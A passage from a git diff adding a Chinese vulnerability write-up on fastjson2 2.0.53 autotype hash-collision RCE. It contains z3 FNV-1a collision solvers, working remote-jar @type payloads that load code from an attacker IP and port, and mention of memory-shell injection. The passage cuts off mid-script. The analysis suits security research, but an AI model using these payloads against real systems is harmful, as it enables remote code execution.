用于爆破时使用. 但外部 http 需要远程下载 jar 到 /proc/self/fd 中, 继续给 AI 思路:

+
现在对原有的 cmd/defineClass 做一个变更,就是写入 jar 文件中的 1.class 文件,为命令行中指明的 host 和 port 名称,或者整个命令行也可以。
+

这是因为自己原编写的 fastjson 1.2.83 payload 的命令行参数存在攻击者 IP 和 PORT, 需要符合后续包名.

+
让你做这一步,实际上是为了让你在 fnv_add_unicode_file 功能中增加两个需求:1. 解析 1.class 文件内容中的 ip 和 port 部分,组合为:jar:http:..<IP的10进制>:<IP的端口号>.<命令行中指明的文件名>!.1 2. 对组合结果进行 z3-fnv算法解方程,最后要拼接出:jar:http:..<IP的10进制>:<IP的端口号>.<命令行中指明的文件名>!.1<Unicode编码> 3. 拼接完成之后,在最终处理的 jar 包内增加这样一个真实文件,最最最后需要告诉用户首先使用该 payload 进行远程服务器下载。
+

最终实现效果, 先是工具提示远程拉取:

+

573738ea-efc8-460a-99ff-ecb6eda2b69d.png

+

随后是工具生成的 result.txt 进行爆破:

+

a822e005-77ce-4d25-a68e-51bafd390b33.png

+

另外这里调教 AI 使用了 java 的 z3 实现解方程的效果.

+

内存马注入

+

先是用工具生成 jar, 生成完毕之后进行转换为 FastJson2 版本, 等待 Hash 碰撞完整 jar:

+

7f3a91df-e50e-4da5-9517-b447f97a7be8.png

+

最终结果:

+

图片.png

+

其他语法

+

参考: https://mp.weixin.qq.com/s/1niSP0dXlYql7euC5tMwPw 师傅的两个姿势, 除了 JSON.parseObject 以外仍然可以通过:

+
JSON.parseObject(可控,List.class)
+JSON.parseObject(可控,Set.class)
+JSON.parse(可控)
+

进行 RCE, 简单跟一下:

+
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+// 不指定目标类,解析成 JSONObject
+Object obj = JSON.parseObject(jsonWithType, List.class);
+System.out.println(obj);
+

1eef94c8-abd1-4fa6-a96b-42e17bdde27a.png

+

以及:

+
String jsonWithType = "{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+// 不指定目标类,解析成 JSONObject
+Object obj = JSON.parseObject(jsonWithType, Set.class);
+

e9c10b23-f713-4caf-a5c9-ab3490792764.png

+

以及:

+
String jsonWithType = "[{\"@type\":\"jar:http:..2887610369.2333.Hello!.Hello\\u4124\\u130a\\u789a\\u4bf1\\ufcf5\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}]";
+// 不指定目标类,解析成 JSONObject
+Object obj = JSON.parse(jsonWithType);
+System.out.println(obj);
+

07bf767e-feb0-4b96-89c0-7d868e03622b.png

+

相对于 JSON.parse 来说, 多了一步选择器的操作:

+

adf17043-6a29-4ae2-8df6-5b6c01e3029d.png

+

其他补充

+

往上找一下看还有哪些语法能够调用该方法的 readObject, 查找了一番有如下类:

+
JSON.parseObject(jsonWithType, Collection.class);
+JSON.parseObject(jsonWithType, ArrayList.class);
+JSON.parseObject(jsonWithType, HashSet.class);
+JSON.parseObject(jsonWithType, Comparable.class);
+JSON.parseObject(jsonWithType, Serializable.class);
+JSON.parseObject(jsonWithType, Cloneable.class);
+JSON.parseObject(jsonWithType, Closeable.class);
+JSON.parseObject(jsonWithType, Object[].class);
+

规律参考:

+ + + + + + + + + + + + + + + + + + + + + +
子类类型
List 系Iterable, Collection, List, AbstractCollection, AbstractList, ArrayList, Stack
Queue/Deque 系Queue, Deque, AbstractSequentialList, LinkedList, ConcurrentLinkedDeque, ConcurrentLinkedQueue, CopyOnWriteArrayList
Set 系Set, AbstractSet, EnumSet, NavigableSet, SortedSet, ConcurrentSkipListSet, LinkedHashSet, HashSet, TreeSet
+

可能还有更多 parseObject 手法可打.

+

Ending...

+
+
+ + + + + + +
\ No newline at end of file diff --git "a/books/FastJson2 Hash \347\242\260\346\222\236 RCE \345\210\206\346\236\220\344\270\216\345\244\215\347\216\260.md" "b/books/FastJson2 Hash \347\242\260\346\222\236 RCE \345\210\206\346\236\220\344\270\216\345\244\215\347\216\260.md" new file mode 100644 index 000000000..8563bb1e2 --- /dev/null +++ "b/books/FastJson2 Hash \347\242\260\346\222\236 RCE \345\210\206\346\236\220\344\270\216\345\244\215\347\216\260.md" @@ -0,0 +1,1415 @@ +# FastJson2 Hash 碰撞 RCE 分析与复现 +> 来源:https://xz.aliyun.com/news/92608 + +## 前置说明 + + +参考: [https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA](https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA), 来跟进一下漏洞原理. + +测试使用的依赖: + + + +``` + + + + com.alibaba.fastjson2 + fastjson2 + 2.0.53 + + +``` + + + +## 默认场景 + + +总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype: + + + + +``` +// ──────────────────────────────────────────────────────────── +// 1. 基础反序列化: 把 JSON 字符串解析成 Java 对象 +// ──────────────────────────────────────────────────────────── +String json = "{\"name\":\"admin\",\"age\":28,\"email\":\"admin@lab.local\"}"; +User user = JSON.parseObject(json, User.class); +System.out.println("[1] 基础反序列化:"); +System.out.println(" 输入: " + json); +System.out.println(" 输出: " + user); +System.out.println(); + +// ──────────────────────────────────────────────────────────── +// 2. 基础序列化: 把 Java 对象转回 JSON 字符串 +// ──────────────────────────────────────────────────────────── +String reJson = JSON.toJSONString(user); +System.out.println("[2] 基础序列化:"); +System.out.println(" 输入: " + user); +System.out.println(" 输出: " + reJson); +System.out.println(); + +/* +[1] 基础反序列化: + 输入: {"name":"admin","age":28,"email":"admin@lab.local"} + 输出: User{name='admin', age=28, email='admin@lab.local'} + +[2] 基础序列化: + 输入: User{name='admin', age=28, email='admin@lab.local'} + 输出: {"age":28,"email":"admin@lab.local","name":"admin"} +*/ +``` + + + +当然如果使用带 @type 的场景, 如下: + + + + +``` +String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; + +// 不指定目标类,解析成 JSONObject +Object obj = JSON.parse(jsonWithType); +System.out.println("[3] 带 @type 的 JSON, 不开启 SupportAutoType:"); +System.out.println(" 输入: " + jsonWithType); +System.out.println(" 解析结果类型: " + obj.getClass().getName()); +System.out.println(" 解析结果: " + obj); +if (obj instanceof JSONObject) { + JSONObject jo = (JSONObject) obj; + System.out.println(" @type 字段值: " + jo.getString("@type")); + System.out.println(" ↑ @type 被当作普通字段保留了,没有触发类加载"); +} +System.out.println(); +/* +[3] 带 @type 的 JSON, 不开启 SupportAutoType: + 输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"} + 解析结果类型: com.alibaba.fastjson2.JSONObject + 解析结果: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"} + @type 字段值: com.heihu577.model.User + ↑ @type 被当作普通字段保留了,没有触发类加载 +*/ +``` + + + +默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean: + + + + +```java +User u2 = JSON.parseObject(jsonWithType, User.class); +System.out.println("[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):"); +System.out.println(" 输入: " + jsonWithType); +System.out.println(" 输出: " + u2); +System.out.println(" ↑ 反序列化成功,但 @type 字段被忽略 (User 没有 @type 属性)"); +System.out.println(); + +/* +[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType): + 输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"} + 输出: User{name='alice', age=25, email='alice@lab.local'} +*/ +``` + +### 解析流程 + + +根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番: + + + + +![95c4a05c-be99-4587-af3b-91e6a68decfd.png](https://i.ibb.co/5XFmYKLp/cb9fe00d3c9b.png) + + + +那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件: + +●通过 arthas 将该类的字节码导出 + +●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译 + +通过思路 2, 最终调用栈如下: + + + + +```java +at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.jitObjectReader(ObjectReaderCreatorASM.java:594) +at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.createObjectReader(ObjectReaderCreatorASM.java:327) +at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReaderInternal(ObjectReaderProvider.java:845) +at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:763) +at com.alibaba.fastjson2.JSON.parseObject(JSON.java:858) +at com.heihu577.demo.Demo01Basic.run(Demo01Basic.java:29) +at com.heihu577.demo.Demo01Basic.main(Demo01Basic.java:17) +``` + + + +导出一波: + + + + +![1bf88f69-0121-464c-987d-ac4ebed50e17.png](https://i.ibb.co/3yTSfDny/3e0213ed1be1.png) + + + +最终我们可以看到字节码信息: + + + + +![efbdf9ee-7776-4885-9e48-8bfeee4516b8.png](https://i.ibb.co/99s4p6jc/c4b88b80065b.png) + + + +这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中: + + + + +![dafa3b01-f783-402b-b46e-59f496e6d299.png](https://i.ibb.co/hFRJs3QS/c6372bd3238e.png) + + + +随后增加 classpath, 并且将其置顶: + + + + +![42b9238b-cd2c-4ca7-8db5-bc1388b5887c.png](https://i.ibb.co/Y4RP4LNk/b212fd84590f.png) + +但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: [https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha](https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha) 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息: + + +![e4282e04-04bf-4e50-b5ec-1bfc3076e8bd.png](https://i.ibb.co/7J4PwgVD/6cd28097c952.png) + + + +正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑: + + + + +![1b1518ab-74f4-4a26-a11b-8f90ef443d86.png](https://i.ibb.co/RkbCq6wP/4554190541b2.png) + + + +但部分方法会调用 checkAutoType: + + + + +![4f43bffc-7b9e-4a38-a899-4f6fb0955563.png](https://i.ibb.co/bjbdv7km/956e9f6f4595.png) + + + + +## RCE 场景 + + +参考: [https://mp.weixin.qq.com/s/4jl2kv\_JRSDUAUZyc1jw5A](https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A), 官网的 commit 记录中存在对 payload 的测试记录: + + + + +![b5b3ca4b-df8e-45db-9908-075fbdefd7ec.png](https://i.ibb.co/RkJRnvBC/52cc63f5fbbd.png) + + + +可以看到期望类定义为了 Object, Debug 看一下: + + + + + + +```java +package com.heihu577.demo; + +import com.alibaba.fastjson2.JSON; + +public class Demo { + public static void main(String[] args) { + String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}"; + + // 指明类型为 Object.class + Object obj = JSON.parseObject(jsonWithType, Object.class); + System.out.println(obj); + } +} +``` + + + +调用栈为: + + + + +```java +at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554) +at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530) +at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194) +at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119) +at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864) +at com.heihu577.demo.Demo.main(Demo.java:10) +``` + + + +可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来: + + + + +![abc56426-51dd-4907-b865-168673fe89e4.png](https://i.ibb.co/G3M7qhBj/56b13aa8f212.png) + + + +在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType: + + + + +![8b01895c-b5bd-4d02-b94f-279eafb5b1f6.png](https://i.ibb.co/wZQLkV1w/ae3f4c0bde08.png) + + + +随后经过调用栈: + + + + +```java +at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554) +at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530) +at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194) +at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119) +at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864) +at com.heihu577.demo.Demo.main(Demo.java:10) +``` + + + +可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启): + + + + +![5e0aa420-973a-4fa2-8376-eb7af088ca56.png](https://i.ibb.co/YT0sXdMS/47915d4d4111.png) + + + +而后面的逻辑存在一个黑白名单校验的缺陷: + + + + +![bb1087af-b01f-4919-a6c2-ffa74baa294c.png](https://i.ibb.co/hJsSsZ2h/72d928600274.png) + +即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑: + + +![1f220816-5521-45e6-8bf6-cd2c6f22b688.png](https://i.ibb.co/TDn50RXY/383da101a051.png) + + + +又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载. + + +### hash 解密 & payload 调试 + + +参考: [https://zhuanlan.zhihu.com/p/30548907](https://zhuanlan.zhihu.com/p/30548907) & [https://ctf-wiki.org/reverse/tools/constraint/z3/](https://ctf-wiki.org/reverse/tools/constraint/z3/) & [https://www.freebuf.com/articles/web/232002.html](https://www.freebuf.com/articles/web/232002.html) + +由于 FNV 算法使用了^= & \*=进行做位运算, 所以能列成方程组来解表达式: + + + + +```python +#!/usr/bin/env python3 +""" +FNV-1a 64 位哈希碰撞求解器 (z3) + +对标 fastjson2 2.0.53 Fnv.hashCode64 的实现: + - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a + - FNV-1a: hash = (hash ^ ch) * prime + - offset = 0xcbf29ce484222325 + - prime = 0x100000001b3 + +用法: + python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符] + +参数: + 目标hash : 十进制 (可负) 或 0x 开头的十六进制 + 字符数 : 默认 5 + 最小字符 : 默认 256 (确保 >255, 触发 FNV-1a) + 最大字符 : 默认 65535 (Java char 上限) + +示例: + python3 fnv_collision.py 0xd5ef36df67371111 + python3 fnv_collision.py -6293031534589903644 + python3 fnv_collision.py 15415600382649766161 5 256 65535 + +依赖: + pip3 install z3-solver +""" +import sys +from z3 import * + +# FNV-1a 64 位常量 +OFFSET = 0xcbf29ce484222325 +PRIME = 0x100000001b3 + + +def parse_hash(s): + """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)""" + s = s.strip() + if s.lower().startswith('0x'): + v = int(s, 16) + # 转成有符号 long (Java long 是有符号 64 位) + if v >= 2**63: + v -= 2**64 + return v + return int(s) + + +def to_unsigned(v): + """有符号 long -> 无符号""" + return v & 0xFFFFFFFFFFFFFFFF + + +def fnv1a_hash(s): + """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)""" + h = OFFSET + for ch in s: + h ^= ord(ch) + h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF + return h + + +def solve(target_hash, num_chars=5, min_char=256, max_char=65535): + """ + 用 z3 求 N 字符碰撞 + + target_hash: 目标 hash (有符号 long) + num_chars: 字符数 + min_char: 字符最小值 (256 确保触发 FNV-1a) + max_char: 字符最大值 (65535 = Java char 上限) + """ + target_unsigned = to_unsigned(target_hash) + + # 创建 num_chars 个 64 位 BitVec 变量 + c = [BitVec(f'c{i}', 64) for i in range(num_chars)] + + # FNV-1a 计算 + h = BitVecVal(OFFSET, 64) + for i in range(num_chars): + h = (h ^ c[i]) * BitVecVal(PRIME, 64) + + # 求解器 + s = Solver() + s.add(h == BitVecVal(target_unsigned, 64)) + + # 字符范围约束 + for i in range(num_chars): + s.add(c[i] >= min_char) + s.add(c[i] <= max_char) + # ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF) + # 这些码点专用于 UTF-16 编码,不能作为独立字符 + # Python chr() 能产生但 print 时 UTF-8 不允许 + s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF)) + + # 如果字符范围包含 <=255 且 num_chars <=8, 需要至少一个 >255 强制走 FNV-1a + if min_char <= 255 and num_chars <= 8: + s.add(Or([c[i] > 255 for i in range(num_chars)])) + + # 求解 + result = s.check() + if result == sat: + m = s.model() + return [m[c[i]].as_long() for i in range(num_chars)] + return None + + +def main(): + if len(sys.argv) < 2: + print(__doc__) + sys.exit(1) + + # 解析参数 + target_hash = parse_hash(sys.argv[1]) + num_chars = int(sys.argv[2]) if len(sys.argv) > 2 else 5 + min_char = int(sys.argv[3]) if len(sys.argv) > 3 else 256 + max_char = int(sys.argv[4]) if len(sys.argv) > 4 else 65535 + + print("═" * 64) + print(" FNV-1a 64 位哈希碰撞求解器 (z3)") + print("═" * 64) + print() + print(f" 目标 hash (有符号): {target_hash}") + print(f" 目标 hash (无符号): {to_unsigned(target_hash)}") + print(f" 目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}") + print() + print(f" 字符数: {num_chars}") + print(f" 字符范围: [{min_char}, {max_char}]") + if min_char <= 255: + print(f" ⚠ 范围含 <=255, 会强制至少一个字符 >255 (走 FNV-1a)") + print() + + # 求解 + print(" 求解中...") + import time + start = time.time() + result = solve(target_hash, num_chars, min_char, max_char) + elapsed = time.time() - start + + if result is None: + print(f" ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s") + print() + print(" 可能原因:") + print(" 1. 输入空间太小 (字符数 × 位宽 < 64)") + print(" 2. z3 求解超时 (尝试减少字符数)") + print(" 3. 真的无解 (极少见)") + return + + print(f" ✓ 找到解! 耗时 {elapsed:.2f}s") + print() + + # 构造碰撞字符串 + collision_str = ''.join(chr(c) for c in result) + + # 验证 + actual_hash = fnv1a_hash(collision_str) + + print("─" * 64) + print(" 碰撞结果") + print("─" * 64) + print() + print(f" 原始目标 hash: 0x{to_unsigned(target_hash):016x}") + print(f" 碰撞字符串 hash: 0x{to_unsigned(actual_hash):016x}") + print(f" 匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}") + print() + print(f" Code Points: {result}") + print(f" 十六进制: [{', '.join(f'0x{c:04x}' for c in result)}]") + print(f" Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}") + # 安全打印: 避免代理对/控制字符导致 UnicodeEncodeError + safe_str = collision_str.encode('utf-8', errors='backslashreplace').decode('utf-8') + print(f" 字符串: \"{safe_str}\"") + print() + print("─" * 64) + print(" 使用提示") + print("─" * 64) + print() + print(" 1. Java 中使用 (用 Unicode 转义):") + print(f' String s = "{"".join(f"\\u{c:04x}" for c in result)}";') + print(f" long hash = com.alibaba.fastjson2.util.Fnv.hashCode64(s);") + print() + print(" 2. 这个字符串的 FNV-1a hash 等于目标 hash") + print(" 3. 每个字符 > 255, 确保走 FNV-1a 分支 (非短字符串优化)") + print() + print("═" * 64) + + +if __name__ == '__main__': + main() +``` + + + +对应方程组: + + + + +```python +已知: + OFFSET = 0xcbf29ce484222325 + PRIME = 0x100000001b3 + target = -6293031534589903644 + +方程(假设是 5 位数): + let h0 = OFFSET + let h1 = (h0 ^ c0) * PRIME + let h2 = (h1 ^ c1) * PRIME + let h3 = (h2 ^ c2) * PRIME + let h4 = (h3 ^ c3) * PRIME + let h5 = (h4 ^ c4) * PRIME + h5 == target +``` + +解方程核心代码块: + + + + +![7ee9230b-8788-4f71-bae3-bcc95a1bb6ec.png](https://i.ibb.co/9HBBc3DR/76002f5e75b1.png) + + + +最终对应 fastjson 场景解密 -6293031534589903644 效果: + + + + +![f65e13db-a03e-4de9-aa02-6e08e9b84338.png](https://i.ibb.co/GvfCmD5h/d7ab48446ea4.png) + + + +通过解方程的形式成功达到 Hash 碰撞的效果, 那么在此基础之上我们只需要将我们在 fastjson 1.2.83 中的 payload 作为前缀即可. 以任意字符为前缀的话, 对于 fastjson 的计算来说仅仅是起点不同了: + + + + +![de3f01f7-7cd5-4b8b-a33c-1d3d9e56a3a9.png](https://i.ibb.co/B2sLh1ZW/9a77a52f43e6.png) + + + +因为它是依次按照^= & \*=做位运算的, 丝毫不影响我们制作 payload, 定制 Python 脚本: + + + + +```python +#!/usr/bin/env python3 +""" +FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀 + +对标 fastjson2 2.0.53 Fnv.hashCode64 的实现: + - 长字符串 (>8 字符) 或含字符 >255: 走 FNV-1a + - FNV-1a: hash = (hash ^ ch) * prime + - offset = 0xcbf29ce484222325 + - prime = 0x100000001b3 + +★ 前缀支持 (--prefix): + 指定已知前缀字符串, 该前缀先参与 FNV-1a 计算, 改变起始 hash, + 然后再求解 N 个未知字符使最终 hash 等于目标. + 对应 Java 语义: Fnv.hashCode64(prefix + unknown) == targetHash + +用法: + python3 fnv_collision.py <目标hash> [字符数] [最小字符] [最大字符] [--prefix PREFIX] + +参数: + 目标hash : 十进制 (可负) 或 0x 开头的十六进制 + 字符数 : 默认 5 (未知字符数, 不含 prefix) + 最小字符 : 默认 256 (确保 >255, 触发 FNV-1a) + 最大字符 : 默认 65535 (Java char 上限) + --prefix : 已知前缀字符串 (先参与 FNV-1a, 再求未知字符) + +示例: + python3 fnv_collision.py 0xd5ef36df67371111 + python3 fnv_collision.py -6293031534589903644 + python3 fnv_collision.py 0xd5ef36df67371111 5 256 65535 --prefix abc + python3 fnv_collision.py 0xd5ef36df67371111 3 --prefix 'java.lang.String' + +依赖: + pip3 install z3-solver +""" +import sys +import argparse +import time +from z3 import * + +# FNV-1a 64 位常量 +OFFSET = 0xcbf29ce484222325 +PRIME = 0x100000001b3 + + +def parse_hash(s): + """解析 hash 参数: 支持十进制 (可负) 和十六进制 (0x开头)""" + s = s.strip() + if s.lower().startswith('0x'): + v = int(s, 16) + # 转成有符号 long (Java long 是有符号 64 位) + if v >= 2**63: + v -= 2**64 + return v + return int(s) + + +def to_unsigned(v): + """有符号 long -> 无符号""" + return v & 0xFFFFFFFFFFFFFFFF + + +def to_java_chars(s): + """ + 将 Python 字符串转成 Java char (UTF-16 code unit) 序列. + + Java 的 String.charAt(i) 返回 16 位 char, FNV-1a 实际是对 + UTF-16 code unit 迭代, 不是对 Unicode codepoint 迭代. + - BMP 字符 (0x0000-0xFFFF): code unit == codepoint, 两者等价 + - 非 BMP 字符 (如 emoji 0x1F600): Java 迭代代理对 [0xD83D, 0xDE00], + Python 的 ord() 返回整个 codepoint. 本函数确保与 Java 行为一致. + """ + b = s.encode('utf-16-be') + return [int.from_bytes(b[i:i+2], 'big') for i in range(0, len(b), 2)] + + +def fnv1a_hash(s): + """计算 FNV-1a hash (跟 fastjson2 2.0.53 长字符串分支一致)""" + h = OFFSET + for ch in to_java_chars(s): + h ^= ch + h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF + return h + + +def fnv1a_prefix_state(prefix): + """ + 计算 prefix 参与 FNV-1a 后的起始 hash 状态. + + 返回 (h_start, prefix_chars, prefix_has_high_char): + h_start : prefix 跑完 FNV-1a 后的 hash (作为未知字符的起点) + prefix_chars : prefix 的 Java char 序列 + prefix_has_high_char : prefix 是否含 >255 的 char (影响 FNV-1a 触发判断) + """ + chars = to_java_chars(prefix) + h = OFFSET + for ch in chars: + h ^= ch + h = (h * PRIME) & 0xFFFFFFFFFFFFFFFF + has_high = any(ch > 255 for ch in chars) + return h, chars, has_high + + +def solve(target_hash, num_chars=5, min_char=256, max_char=65535, prefix=''): + """ + 用 z3 求 N 字符碰撞 (支持已知前缀) + + target_hash: 目标 hash (有符号 long) + num_chars: 未知字符数 (不含 prefix) + min_char: 字符最小值 (256 确保触发 FNV-1a) + max_char: 字符最大值 (65535 = Java char 上限) + prefix: 已知前缀字符串, 先参与 FNV-1a 计算, 改变起始 hash + + 求解等式: FNV1a_continue(FNV1a(prefix), unknown_chars) == target_hash + """ + target_unsigned = to_unsigned(target_hash) + + # ★ 关键: 先把 prefix 跑一遍 FNV-1a, 得到起始 hash + # prefix 是已知常量, 这一步用纯 Python 算出具体数值, 不需要 z3 变量 + h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix) + + # 创建 num_chars 个 64 位 BitVec 变量 (只对未知字符建变量) + c = [BitVec(f'c{i}', 64) for i in range(num_chars)] + + # FNV-1a 计算 (从 prefix 处理后的 h_start 继续) + h = BitVecVal(h_start, 64) + for i in range(num_chars): + h = (h ^ c[i]) * BitVecVal(PRIME, 64) + + # 求解器 + s = Solver() + s.add(h == BitVecVal(target_unsigned, 64)) + + # 字符范围约束 + for i in range(num_chars): + s.add(c[i] >= min_char) + s.add(c[i] <= max_char) + # ★ 排除 UTF-16 代理对范围 (0xD800-0xDFFF) + # 这些码点专用于 UTF-16 编码,不能作为独立字符 + # Python chr() 能产生但 print 时 UTF-8 不允许 + s.add(Or(c[i] < 0xD800, c[i] > 0xDFFF)) + + # FNV-1a 触发条件检查 (考虑 prefix) + # fastjson2: 字符串长度 > 8 或任一 char > 255 -> 走 FNV-1a + prefix_java_len = len(prefix_chars) + total_len = prefix_java_len + num_chars + + # 只有当总长度 <=8 且 prefix 没有高字符 且 字符范围含 <=255 时, + # 才需要强制至少一个未知字符 >255 (确保走 FNV-1a 而非短字符串优化) + if min_char <= 255 and total_len <= 8 and not prefix_has_high: + s.add(Or([c[i] > 255 for i in range(num_chars)])) + + # 求解 + result = s.check() + if result == sat: + m = s.model() + return [m[c[i]].as_long() for i in range(num_chars)] + return None + + +def main(): + parser = argparse.ArgumentParser( + description='FNV-1a 64 位哈希碰撞求解器 (z3) - 支持自定义前缀', + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + parser.add_argument('target_hash', type=str, + help='目标 hash (十进制可负 / 0x十六进制)') + parser.add_argument('num_chars', type=int, nargs='?', default=5, + help='未知字符数 (默认 5, 不含 prefix)') + parser.add_argument('min_char', type=int, nargs='?', default=256, + help='字符最小值 (默认 256)') + parser.add_argument('max_char', type=int, nargs='?', default=65535, + help='字符最大值 (默认 65535)') + parser.add_argument('--prefix', type=str, default='', + help='已知前缀字符串, 先参与 FNV-1a 再求解未知字符') + args = parser.parse_args() + + target_hash = parse_hash(args.target_hash) + num_chars = args.num_chars + min_char = args.min_char + max_char = args.max_char + prefix = args.prefix + + # 预计算 prefix 状态 (用于显示) + h_start, prefix_chars, prefix_has_high = fnv1a_prefix_state(prefix) + prefix_java_len = len(prefix_chars) + total_len = prefix_java_len + num_chars + + print("═" * 64) + print(" FNV-1a 64 位哈希碰撞求解器 (z3)") + print("═" * 64) + print() + print(f" 目标 hash (有符号): {target_hash}") + print(f" 目标 hash (无符号): {to_unsigned(target_hash)}") + print(f" 目标 hash (十六进制): 0x{to_unsigned(target_hash):016x}") + print() + print(f" 未知字符数: {num_chars}") + print(f" 字符范围: [{min_char}, {max_char}]") + if prefix: + prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8') + print(f" 已知前缀: \"{prefix_display}\"") + print(f" 前缀长度: {prefix_java_len} Java char(s)") + print(f" 前缀含 >255 字符: {'是' if prefix_has_high else '否'}") + print(f" 前缀处理后起始 hash: 0x{h_start:016x}") + print(f" (原始 OFFSET: 0x{OFFSET:016x})") + print(f" 总字符串长度: {total_len} Java char(s)") + if min_char <= 255 and total_len <= 8 and not prefix_has_high: + print(f" ⚠ 总长度 <=8 且范围含 <=255, 会强制至少一个未知字符 >255 (走 FNV-1a)") + print() + + # 求解 + print(" 求解中...") + start = time.time() + result = solve(target_hash, num_chars, min_char, max_char, prefix) + elapsed = time.time() - start + + if result is None: + print(f" ✗ 未找到解 (unsat), 耗时 {elapsed:.2f}s") + print() + print(" 可能原因:") + print(" 1. 输入空间太小 (字符数 × 位宽 < 64)") + print(" 2. z3 求解超时 (尝试减少字符数)") + print(" 3. 真的无解 (极少见)") + return + + print(f" ✓ 找到解! 耗时 {elapsed:.2f}s") + print() + + # 构造碰撞字符串 (只有未知部分) + collision_str = ''.join(chr(c) for c in result) + # 完整字符串 = prefix + 未知部分 + full_str = prefix + collision_str + + # 验证: 完整字符串的 FNV-1a hash 应该等于目标 + actual_hash = fnv1a_hash(full_str) + + print("─" * 64) + print(" 碰撞结果") + print("─" * 64) + print() + print(f" 原始目标 hash: 0x{to_unsigned(target_hash):016x}") + print(f" 完整字符串 hash: 0x{to_unsigned(actual_hash):016x}") + print(f" 匹配: {'✓' if to_unsigned(actual_hash) == to_unsigned(target_hash) else '✗'}") + print() + if prefix: + prefix_display = prefix.encode('utf-8', errors='backslashreplace').decode('utf-8') + print(f" 已知前缀: \"{prefix_display}\"") + print(f" 未知部分 Code Points: {result}") + print(f" 未知部分 十六进制: [{', '.join(f'0x{c:04x}' for c in result)}]") + print(f" 未知部分 Unicode 转义: {''.join(f'\\u{c:04x}' for c in result)}") + safe_str = 